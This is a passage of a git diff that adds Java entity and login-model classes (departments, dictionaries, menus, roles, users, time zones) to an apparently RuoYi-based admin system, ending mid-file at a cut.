b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java new file mode 100644 index 0000000..fb18c5c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java @@ -0,0 +1,203 @@ +package com.ruoyi.common.core.domain.entity; + +import java.util.ArrayList; +import java.util.List; +import javax.validation.constraints.Email; +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 部门表 sys_dept + * + * @author ruoyi + */ +public class SysDept extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 部门ID */ + private Long deptId; + + /** 父部门ID */ + private Long parentId; + + /** 祖级列表 */ + private String ancestors; + + /** 部门名称 */ + private String deptName; + + /** 显示顺序 */ + private Integer orderNum; + + /** 负责人 */ + private String leader; + + /** 联系电话 */ + private String phone; + + /** 邮箱 */ + private String email; + + /** 部门状态:0正常,1停用 */ + private String status; + + /** 删除标志(0代表存在 2代表删除) */ + private String delFlag; + + /** 父部门名称 */ + private String parentName; + + /** 子部门 */ + private List children = new ArrayList(); + + public Long getDeptId() + { + return deptId; + } + + public void setDeptId(Long deptId) + { + this.deptId = deptId; + } + + public Long getParentId() + { + return parentId; + } + + public void setParentId(Long parentId) + { + this.parentId = parentId; + } + + public String getAncestors() + { + return ancestors; + } + + public void setAncestors(String ancestors) + { + this.ancestors = ancestors; + } + + @NotBlank(message = "部门名称不能为空") + @Size(min = 0, max = 30, message = "部门名称长度不能超过30个字符") + public String getDeptName() + { + return deptName; + } + + public void setDeptName(String deptName) + { + this.deptName = deptName; + } + + @NotNull(message = "显示顺序不能为空") + public Integer getOrderNum() + { + return orderNum; + } + + public void setOrderNum(Integer orderNum) + { + this.orderNum = orderNum; + } + + public String getLeader() + { + return leader; + } + + public void setLeader(String leader) + { + this.leader = leader; + } + + @Size(min = 0, max = 11, message = "联系电话长度不能超过11个字符") + public String getPhone() + { + return phone; + } + + public void setPhone(String phone) + { + this.phone = phone; + } + + @Email(message = "邮箱格式不正确") + @Size(min = 0, max = 50, message = "邮箱长度不能超过50个字符") + public String getEmail() + { + return email; + } + + public void setEmail(String email) + { + this.email = email; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getDelFlag() + { + return delFlag; + } + + public void setDelFlag(String delFlag) + { + this.delFlag = delFlag; + } + + public String getParentName() + { + return parentName; + } + + public void setParentName(String parentName) + { + this.parentName = parentName; + } + + public List getChildren() + { + return children; + } + + public void setChildren(List children) + { + this.children = children; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("deptId", getDeptId()) + .append("parentId", getParentId()) + .append("ancestors", getAncestors()) + .append("deptName", getDeptName()) + .append("orderNum", getOrderNum()) + .append("leader", getLeader()) + .append("phone", getPhone()) + .append("email", getEmail()) + .append("status", getStatus()) + .append("delFlag", getDelFlag()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictData.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictData.java new file mode 100644 index 0000000..1e7fbc9 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictData.java @@ -0,0 +1,187 @@ +package com.ruoyi.common.core.domain.entity; + +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 字典数据表 sys_dict_data + * + * @author ruoyi + */ +public class SysDictData extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 字典编码 */ + @Excel(name = "字典编码", cellType = ColumnType.NUMERIC) + private Long dictCode; + + /** 字典排序 */ + @Excel(name = "字典排序", cellType = ColumnType.NUMERIC) + private Long dictSort; + + /** 字典标签 */ + @Excel(name = "字典标签") + private String dictLabel; + + /** 字典键值 */ + @Excel(name = "字典键值") + private String dictValue; + + /** 字典类型 */ + @Excel(name = "字典类型") + private String dictType; + + /** 样式属性(其他样式扩展) */ + private String cssClass; + + /** 表格字典样式 */ + private String listClass; + + /** 是否默认(Y是 N否) */ + @Excel(name = "是否默认", readConverterExp = "Y=是,N=否") + private String isDefault; + + /** 状态(0正常 1停用) */ + @Excel(name = "状态", readConverterExp = "0=正常,1=停用") + private String status; + + @Excel(name = "状态", readConverterExp = "0=正常,1=停用") + private String imgUrl; + + public String getImgUrl() { + return imgUrl; + } + + public void setImgUrl(String imgUrl) { + this.imgUrl = imgUrl; + } + + public Long getDictCode() + { + return dictCode; + } + + public void setDictCode(Long dictCode) + { + this.dictCode = dictCode; + } + + public Long getDictSort() + { + return dictSort; + } + + public void setDictSort(Long dictSort) + { + this.dictSort = dictSort; + } + + @NotBlank(message = "字典标签不能为空") + @Size(min = 0, max = 100, message = "字典标签长度不能超过100个字符") + public String getDictLabel() + { + return dictLabel; + } + + public void setDictLabel(String dictLabel) + { + this.dictLabel = dictLabel; + } + + @NotBlank(message = "字典键值不能为空") + @Size(min = 0, max = 100, message = "字典键值长度不能超过100个字符") + public String getDictValue() + { + return dictValue; + } + + public void setDictValue(String dictValue) + { + this.dictValue = dictValue; + } + + @NotBlank(message = "字典类型不能为空") + @Size(min = 0, max = 100, message = "字典类型长度不能超过100个字符") + public String getDictType() + { + return dictType; + } + + public void setDictType(String dictType) + { + this.dictType = dictType; + } + + @Size(min = 0, max = 100, message = "样式属性长度不能超过100个字符") + public String getCssClass() + { + return cssClass; + } + + public void setCssClass(String cssClass) + { + this.cssClass = cssClass; + } + + public String getListClass() + { + return listClass; + } + + public void setListClass(String listClass) + { + this.listClass = listClass; + } + + public boolean getDefault() + { + return UserConstants.YES.equals(this.isDefault); + } + + public String getIsDefault() + { + return isDefault; + } + + public void setIsDefault(String isDefault) + { + this.isDefault = isDefault; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("dictCode", getDictCode()) + .append("dictSort", getDictSort()) + .append("dictLabel", getDictLabel()) + .append("dictValue", getDictValue()) + .append("dictType", getDictType()) + .append("cssClass", getCssClass()) + .append("listClass", getListClass()) + .append("isDefault", getIsDefault()) + .append("status", getStatus()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictType.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictType.java new file mode 100644 index 0000000..e324fcf --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictType.java @@ -0,0 +1,96 @@ +package com.ruoyi.common.core.domain.entity; + +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.Pattern; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 字典类型表 sys_dict_type + * + * @author ruoyi + */ +public class SysDictType extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 字典主键 */ + @Excel(name = "字典主键", cellType = ColumnType.NUMERIC) + private Long dictId; + + /** 字典名称 */ + @Excel(name = "字典名称") + private String dictName; + + /** 字典类型 */ + @Excel(name = "字典类型") + private String dictType; + + /** 状态(0正常 1停用) */ + @Excel(name = "状态", readConverterExp = "0=正常,1=停用") + private String status; + + public Long getDictId() + { + return dictId; + } + + public void setDictId(Long dictId) + { + this.dictId = dictId; + } + + @NotBlank(message = "字典名称不能为空") + @Size(min = 0, max = 100, message = "字典类型名称长度不能超过100个字符") + public String getDictName() + { + return dictName; + } + + public void setDictName(String dictName) + { + this.dictName = dictName; + } + + @NotBlank(message = "字典类型不能为空") + @Size(min = 0, max = 100, message = "字典类型类型长度不能超过100个字符") + @Pattern(regexp = "^[a-z][a-z0-9_]*$", message = "字典类型必须以字母开头,且只能为(小写字母,数字,下滑线)") + public String getDictType() + { + return dictType; + } + + public void setDictType(String dictType) + { + this.dictType = dictType; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("dictId", getDictId()) + .append("dictName", getDictName()) + .append("dictType", getDictType()) + .append("status", getStatus()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysMenu.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysMenu.java new file mode 100644 index 0000000..94e1a18 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysMenu.java @@ -0,0 +1,259 @@ +package com.ruoyi.common.core.domain.entity; + +import java.util.ArrayList; +import java.util.List; +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 菜单权限表 sys_menu + * + * @author ruoyi + */ +public class SysMenu extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 菜单ID */ + private Long menuId; + + /** 菜单名称 */ + private String menuName; + + /** 父菜单名称 */ + private String parentName; + + /** 父菜单ID */ + private Long parentId; + + /** 显示顺序 */ + private Integer orderNum; + + /** 路由地址 */ + private String path; + + /** 组件路径 */ + private String component; + + /** 路由参数 */ + private String query; + + /** 是否为外链(0是 1否) */ + private String isFrame; + + /** 是否缓存(0缓存 1不缓存) */ + private String isCache; + + /** 类型(M目录 C菜单 F按钮) */ + private String menuType; + + /** 显示状态(0显示 1隐藏) */ + private String visible; + + /** 菜单状态(0正常 1停用) */ + private String status; + + /** 权限字符串 */ + private String perms; + + /** 菜单图标 */ + private String icon; + + /** 子菜单 */ + private List children = new ArrayList(); + + public Long getMenuId() + { + return menuId; + } + + public void setMenuId(Long menuId) + { + this.menuId = menuId; + } + + @NotBlank(message = "菜单名称不能为空") + @Size(min = 0, max = 50, message = "菜单名称长度不能超过50个字符") + public String getMenuName() + { + return menuName; + } + + public void setMenuName(String menuName) + { + this.menuName = menuName; + } + + public String getParentName() + { + return parentName; + } + + public void setParentName(String parentName) + { + this.parentName = parentName; + } + + public Long getParentId() + { + return parentId; + } + + public void setParentId(Long parentId) + { + this.parentId = parentId; + } + + @NotNull(message = "显示顺序不能为空") + public Integer getOrderNum() + { + return orderNum; + } + + public void setOrderNum(Integer orderNum) + { + this.orderNum = orderNum; + } + + @Size(min = 0, max = 200, message = "路由地址不能超过200个字符") + public String getPath() + { + return path; + } + + public void setPath(String path) + { + this.path = path; + } + + @Size(min = 0, max = 200, message = "组件路径不能超过255个字符") + public String getComponent() + { + return component; + } + + public void setComponent(String component) + { + this.component = component; + } + + public String getQuery() + { + return query; + } + + public void setQuery(String query) + { + this.query = query; + } + + public String getIsFrame() + { + return isFrame; + } + + public void setIsFrame(String isFrame) + { + this.isFrame = isFrame; + } + + public String getIsCache() + { + return isCache; + } + + public void setIsCache(String isCache) + { + this.isCache = isCache; + } + + @NotBlank(message = "菜单类型不能为空") + public String getMenuType() + { + return menuType; + } + + public void setMenuType(String menuType) + { + this.menuType = menuType; + } + + public String getVisible() + { + return visible; + } + + public void setVisible(String visible) + { + this.visible = visible; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + @Size(min = 0, max = 100, message = "权限标识长度不能超过100个字符") + public String getPerms() + { + return perms; + } + + public void setPerms(String perms) + { + this.perms = perms; + } + + public String getIcon() + { + return icon; + } + + public void setIcon(String icon) + { + this.icon = icon; + } + + public List getChildren() + { + return children; + } + + public void setChildren(List children) + { + this.children = children; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("menuId", getMenuId()) + .append("menuName", getMenuName()) + .append("parentId", getParentId()) + .append("orderNum", getOrderNum()) + .append("path", getPath()) + .append("component", getComponent()) + .append("isFrame", getIsFrame()) + .append("IsCache", getIsCache()) + .append("menuType", getMenuType()) + .append("visible", getVisible()) + .append("status ", getStatus()) + .append("perms", getPerms()) + .append("icon", getIcon()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java new file mode 100644 index 0000000..0f6945c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java @@ -0,0 +1,251 @@ +package com.ruoyi.common.core.domain.entity; + +import java.util.Set; +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 角色表 sys_role + * + * @author ruoyi + */ +public class SysRole extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 角色ID */ + @Excel(name = "角色序号", cellType = ColumnType.NUMERIC) + private Long roleId; + + /** 角色名称 */ + @Excel(name = "角色名称") + private String roleName; + +// private Long userId; + + /** 角色权限 */ + @Excel(name = "角色权限") + private String roleKey; + + /** 角色排序 */ + @Excel(name = "角色排序") + private Integer roleSort; + + /** 数据范围(1:所有数据权限;2:自定义数据权限;3:本部门数据权限;4:本部门及以下数据权限;5:仅本人数据权限) */ + @Excel(name = "数据范围", readConverterExp = "1=所有数据权限,2=自定义数据权限,3=本部门数据权限,4=本部门及以下数据权限,5=仅本人数据权限") + private String dataScope; + + /** 菜单树选择项是否关联显示( 0:父子不互相关联显示 1:父子互相关联显示) */ + private boolean menuCheckStrictly; + + /** 部门树选择项是否关联显示(0:父子不互相关联显示 1:父子互相关联显示 ) */ + private boolean deptCheckStrictly; + + /** 角色状态(0正常 1停用) */ + @Excel(name = "角色状态", readConverterExp = "0=正常,1=停用") + private String status; + + /** 删除标志(0代表存在 2代表删除) */ + private String delFlag; + + /** 用户是否存在此角色标识 默认不存在 */ + private boolean flag = false; + + /** 菜单组 */ + private Long[] menuIds; + + /** 部门组(数据权限) */ + private Long[] deptIds; + + /** 角色菜单权限 */ + private Set permissions; + + public SysRole() + { + + } + +// public Long getUserId() { +// return userId; +// } +// +// public void setUserId(Long userId) { +// this.userId = userId; +// } + + public SysRole(Long roleId) + { + this.roleId = roleId; + } + + public Long getRoleId() + { + return roleId; + } + + public void setRoleId(Long roleId) + { + this.roleId = roleId; + } + + public boolean isAdmin() + { + return isAdmin(this.roleId); + } + + public static boolean isAdmin(Long roleId) + { + return roleId != null && 1L == roleId; + } + + @NotBlank(message = "角色名称不能为空") + @Size(min = 0, max = 30, message = "角色名称长度不能超过30个字符") + public String getRoleName() + { + return roleName; + } + + public void setRoleName(String roleName) + { + this.roleName = roleName; + } + + @NotBlank(message = "权限字符不能为空") + @Size(min = 0, max = 100, message = "权限字符长度不能超过100个字符") + public String getRoleKey() + { + return roleKey; + } + + public void setRoleKey(String roleKey) + { + this.roleKey = roleKey; + } + + @NotNull(message = "显示顺序不能为空") + public Integer getRoleSort() + { + return roleSort; + } + + public void setRoleSort(Integer roleSort) + { + this.roleSort = roleSort; + } + + public String getDataScope() + { + return dataScope; + } + + public void setDataScope(String dataScope) + { + this.dataScope = dataScope; + } + + public boolean isMenuCheckStrictly() + { + return menuCheckStrictly; + } + + public void setMenuCheckStrictly(boolean menuCheckStrictly) + { + this.menuCheckStrictly = menuCheckStrictly; + } + + public boolean isDeptCheckStrictly() + { + return deptCheckStrictly; + } + + public void setDeptCheckStrictly(boolean deptCheckStrictly) + { + this.deptCheckStrictly = deptCheckStrictly; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getDelFlag() + { + return delFlag; + } + + public void setDelFlag(String delFlag) + { + this.delFlag = delFlag; + } + + public boolean isFlag() + { + return flag; + } + + public void setFlag(boolean flag) + { + this.flag = flag; + } + + public Long[] getMenuIds() + { + return menuIds; + } + + public void setMenuIds(Long[] menuIds) + { + this.menuIds = menuIds; + } + + public Long[] getDeptIds() + { + return deptIds; + } + + public void setDeptIds(Long[] deptIds) + { + this.deptIds = deptIds; + } + + public Set getPermissions() + { + return permissions; + } + + public void setPermissions(Set permissions) + { + this.permissions = permissions; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("roleId", getRoleId()) + .append("roleName", getRoleName()) + .append("roleKey", getRoleKey()) + .append("roleSort", getRoleSort()) + .append("dataScope", getDataScope()) + .append("menuCheckStrictly", isMenuCheckStrictly()) + .append("deptCheckStrictly", isDeptCheckStrictly()) + .append("status", getStatus()) + .append("delFlag", getDelFlag()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java new file mode 100644 index 0000000..dd6f72a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java @@ -0,0 +1,359 @@ +package com.ruoyi.common.core.domain.entity; + +import java.util.Date; +import java.util.List; +import javax.validation.constraints.*; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.annotation.Excel.Type; +import com.ruoyi.common.annotation.Excels; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.xss.Xss; + +/** + * 用户对象 sys_user + * + * @author ruoyi + */ +public class SysUser extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 用户ID */ + @Excel(name = "用户序号", cellType = ColumnType.NUMERIC, prompt = "用户编号") + private Long userId; + + /** 部门ID */ + @Excel(name = "部门编号", type = Type.IMPORT) + private Long deptId; + + /** 用户账号 */ + @Excel(name = "登录名称") + private String userName; + + /** 用户类型 */ + @Excel(name = "用户类型",readConverterExp = "0=普通用户,1=组长,2=代理") + private String userType; + + /** 用户昵称 */ + @Excel(name = "用户名称") + private String nickName; + + /** 用户邮箱 */ + @Excel(name = "用户邮箱") + private String email; + + /** 手机号码 */ + @Excel(name = "手机号码") + private String phonenumber; + + /** 用户性别 */ + @Excel(name = "用户性别", readConverterExp = "0=男,1=女,2=未知") + private String sex; + + /** 用户头像 */ + private String avatar; + + /** 密码 */ + private String password; + + /** 帐号状态(0正常 1停用) */ + @Excel(name = "帐号状态", readConverterExp = "0=正常,1=停用") + private String status; + + /** 删除标志(0代表存在 2代表删除) */ + private String delFlag; + + /** 最后登录IP */ + @Excel(name = "最后登录IP", type = Type.EXPORT) + private String loginIp; + + /** 最后登录时间 */ + @Excel(name = "最后登录时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Type.EXPORT) + private Date loginDate; + + private Long parentId; //组长id + + /** 部门对象 */ + @Excels({ + @Excel(name = "部门名称", targetAttr = "deptName", type = Type.EXPORT), + @Excel(name = "部门负责人", targetAttr = "leader", type = Type.EXPORT) + }) + private SysDept dept; + + /** 角色对象 */ + private List roles; + + /** 角色组 */ + private Long[] roleIds; + + /** 岗位组 */ + private Long[] postIds; + + /** 角色ID */ + private Long roleId; + + /** + * 谷歌key + */ + private String googleKey; + + public SysUser() + { + + } + + public String getUserType() { + return userType; + } + + public void setUserType(String userType) { + this.userType = userType; + } + + public Long getParentId() { + return parentId; + } + + public void setParentId(Long parentId) { + this.parentId = parentId; + } + + public SysUser(Long userId) + { + this.userId = userId; + } + + public Long getUserId() + { + return userId; + } + + public void setUserId(Long userId) + { + this.userId = userId; + } + + public boolean isAdmin() + { + return isAdmin(this.userId); + } + + public static boolean isAdmin(Long userId) + { + return userId != null && (1L == userId || 2L == userId); + } + + public Long getDeptId() + { + return deptId; + } + + public void setDeptId(Long deptId) + { + this.deptId = deptId; + } + + @Xss(message = "用户昵称不能包含脚本字符") + @Size(min = 0, max = 30, message = "用户昵称长度不能超过30个字符") + public String getNickName() + { + return nickName; + } + + public void setNickName(String nickName) + { + this.nickName = nickName; + } + + @Xss(message = "用户账号不能包含脚本字符") + @NotBlank(message = "用户账号不能为空") + @Size(min = 0, max = 30, message = "用户账号长度不能超过30个字符") + public String getUserName() + { + return userName; + } + + public void setUserName(String userName) + { + this.userName = userName; + } + + @Email(message = "邮箱格式不正确") + @Size(min = 0, max = 50, message = "邮箱长度不能超过50个字符") + public String getEmail() + { + return email; + } + + public void setEmail(String email) + { + this.email = email; + } + + @Size(min = 0, max = 11, message = "手机号码长度不能超过11个字符") + public String getPhonenumber() + { + return phonenumber; + } + + public void setPhonenumber(String phonenumber) + { + this.phonenumber = phonenumber; + } + + public String getSex() + { + return sex; + } + + public void setSex(String sex) + { + this.sex = sex; + } + + public String getAvatar() + { + return avatar; + } + + public void setAvatar(String avatar) + { + this.avatar = avatar; + } + + public String getPassword() + { + return password; + } + + public void setPassword(String password) + { + this.password = password; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getDelFlag() + { + return delFlag; + } + + public void setDelFlag(String delFlag) + { + this.delFlag = delFlag; + } + + public String getLoginIp() + { + return loginIp; + } + + public void setLoginIp(String loginIp) + { + this.loginIp = loginIp; + } + + public Date getLoginDate() + { + return loginDate; + } + + public void setLoginDate(Date loginDate) + { + this.loginDate = loginDate; + } + + public SysDept getDept() + { + return dept; + } + + public void setDept(SysDept dept) + { + this.dept = dept; + } + + public List getRoles() + { + return roles; + } + + public void setRoles(List roles) + { + this.roles = roles; + } + + public Long[] getRoleIds() + { + return roleIds; + } + + public void setRoleIds(Long[] roleIds) + { + this.roleIds = roleIds; + } + + public Long[] getPostIds() + { + return postIds; + } + + public void setPostIds(Long[] postIds) + { + this.postIds = postIds; + } + + public Long getRoleId() + { + return roleId; + } + + public void setRoleId(Long roleId) + { + this.roleId = roleId; + } + + public String getGoogleKey() { + return googleKey; + } + + public void setGoogleKey(String googleKey) { + this.googleKey = googleKey; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("userId", getUserId()) + .append("deptId", getDeptId()) + .append("userName", getUserName()) + .append("nickName", getNickName()) + .append("email", getEmail()) + .append("phonenumber", getPhonenumber()) + .append("sex", getSex()) + .append("avatar", getAvatar()) + .append("password", getPassword()) + .append("status", getStatus()) + .append("delFlag", getDelFlag()) + .append("loginIp", getLoginIp()) + .append("loginDate", getLoginDate()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .append("dept", getDept()) + .toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/TimeZone.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/TimeZone.java new file mode 100644 index 0000000..82cd16b --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/TimeZone.java @@ -0,0 +1,17 @@ +package com.ruoyi.common.core.domain.entity; + +import lombok.Data; + +/** + * @author:michael + * @createDate: 2022/9/19 16:48 + */ +@Data +public class TimeZone { + private String zoneId; + + private String offSet; + + private String offSetValue; + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginBody.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginBody.java new file mode 100644 index 0000000..f206c7f --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginBody.java @@ -0,0 +1,79 @@ +package com.ruoyi.common.core.domain.model; + +/** + * 用户登录对象 + * + * @author ruoyi + */ +public class LoginBody +{ + /** + * 用户名 + */ + private String username; + + /** + * 用户密码 + */ + private String password; + + /** + * 验证码 + */ + private String code; + + /** + * 唯一标识 + */ + private String uuid; + + private String authCode; + + public String getAuthCode() { + return authCode; + } + + public void setAuthCode(String authCode) { + this.authCode = authCode; + } + + public String getUsername() + { + return username; + } + + public void setUsername(String username) + { + this.username = username; + } + + public String getPassword() + { + return password; + } + + public void setPassword(String password) + { + this.password = password; + } + + public String getCode() + { + return code; + } + + public void setCode(String code) + { + this.code = code; + } + + public String getUuid() + { + return uuid; + } + + public void setUuid(String uuid) + { + this.uuid = uuid; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginUser.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginUser.java new file mode 100644 index 0000000..e485384 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginUser.java @@ -0,0 +1,266 @@ +package com.ruoyi.common.core.domain.model; + +import java.util.Collection; +import java.util.Set; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.userdetails.UserDetails; +import com.alibaba.fastjson2.annotation.JSONField; +import com.ruoyi.common.core.domain.entity.SysUser; + +/** + * 登录用户身份权限 + * + * @author ruoyi + */ +public class LoginUser implements UserDetails +{ + private static final long serialVersionUID = 1L; + + /** + * 用户ID + */ + private Long userId; + + /** + * 部门ID + */ + private Long deptId; + + /** + * 用户唯一标识 + */ + private String token; + + /** + * 登录时间 + */ + private Long loginTime; + + /** + * 过期时间 + */ + private Long expireTime; + + /** + * 登录IP地址 + */ + private String ipaddr; + + /** + * 登录地点 + */ + private String loginLocation; + + /** + * 浏览器类型 + */ + private String browser; + + /** + * 操作系统 + */ + private String os; + + /** + * 权限列表 + */ + private Set permissions; + + /** + * 用户信息 + */ + private SysUser user; + + public Long getUserId() + { + return userId; + } + + public void setUserId(Long userId) + { + this.userId = userId; + } + + public Long getDeptId() + { + return deptId; + } + + public void setDeptId(Long deptId) + { + this.deptId = deptId; + } + + public String getToken() + { + return token; + } + + public void setToken(String token) + { + this.token = token; + } + + public LoginUser() + { + } + + public LoginUser(SysUser user, Set permissions) + { + this.user = user; + this.permissions = permissions; + } + + public LoginUser(Long userId, Long deptId, SysUser user, Set permissions) + { + this.userId = userId; + this.deptId = deptId; + this.user = user; + this.permissions = permissions; + } + + @JSONField(serialize = false) + @Override + public String getPassword() + { + return user.getPassword(); + } + + @Override + public String getUsername() + { + return user.getUserName(); + } + + /** + * 账户是否未过期,过期无法验证 + */ + @JSONField(serialize = false) + @Override + public boolean isAccountNonExpired() + { + return true; + } + + /** + * 指定用户是否解锁,锁定的用户无法进行身份验证 + * + * @return + */ + @JSONField(serialize = false) + @Override + public boolean isAccountNonLocked() + { + return true; + } + + /** + * 指示是否已过期的用户的凭据(密码),过期的凭据防止认证 + * + * @return + */ + @JSONField(serialize = false) + @Override + public boolean isCredentialsNonExpired() + { + return true; + } + + /** + * 是否可用 ,禁用的用户不能身份验证 + * + * @return + */ + @JSONField(serialize = false) + @Override + public boolean isEnabled() + { + return true; + } + + public Long getLoginTime() + { + return loginTime; + } + + public void setLoginTime(Long loginTime) + { + this.loginTime = loginTime; + } + + public String getIpaddr() + { + return ipaddr; + } + + public void setIpaddr(String ipaddr) + { + this.ipaddr = ipaddr; + } + + public String getLoginLocation() + { + return loginLocation; + } + + public void setLoginLocation(String loginLocation) + { + this.loginLocation = loginLocation; + } + + public String getBrowser() + { + return browser; + } + + public void setBrowser(String browser) + { + this.browser = browser; + } + + public String getOs() + { + return os; + } + + public void setOs(String os) + { + this.os = os; + } + + public Long getExpireTime() + { + return expireTime; + } + + public void setExpireTime(Long expireTime) + { + this.expireTime = expireTime; + } + + public Set getPermissions() + { + return permissions; + } + + public void setPermissions(Set permissions) + { + this.permissions = permissions; + } + + public SysUser getUser() + { + return user; + } + + public void setUser(SysUser user) + { + this.user = user; + } + + @Override + public Collection getAuthorities() + { + return null; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/RegisterBody.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/RegisterBody.java new file mode 100644 index 0000000..868a1fc --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/RegisterBody.java @@ -0,0 +1,11 @@ +package com.ruoyi.common.core.domain.model; + +/** + * 用户注册对象 + * + * @author ruoyi + */ +public class RegisterBody extends LoginBody +{ + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/PageDomain.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/PageDomain.java new file mode 100644 index 0000000..8966cb4 --- /dev/null +++ 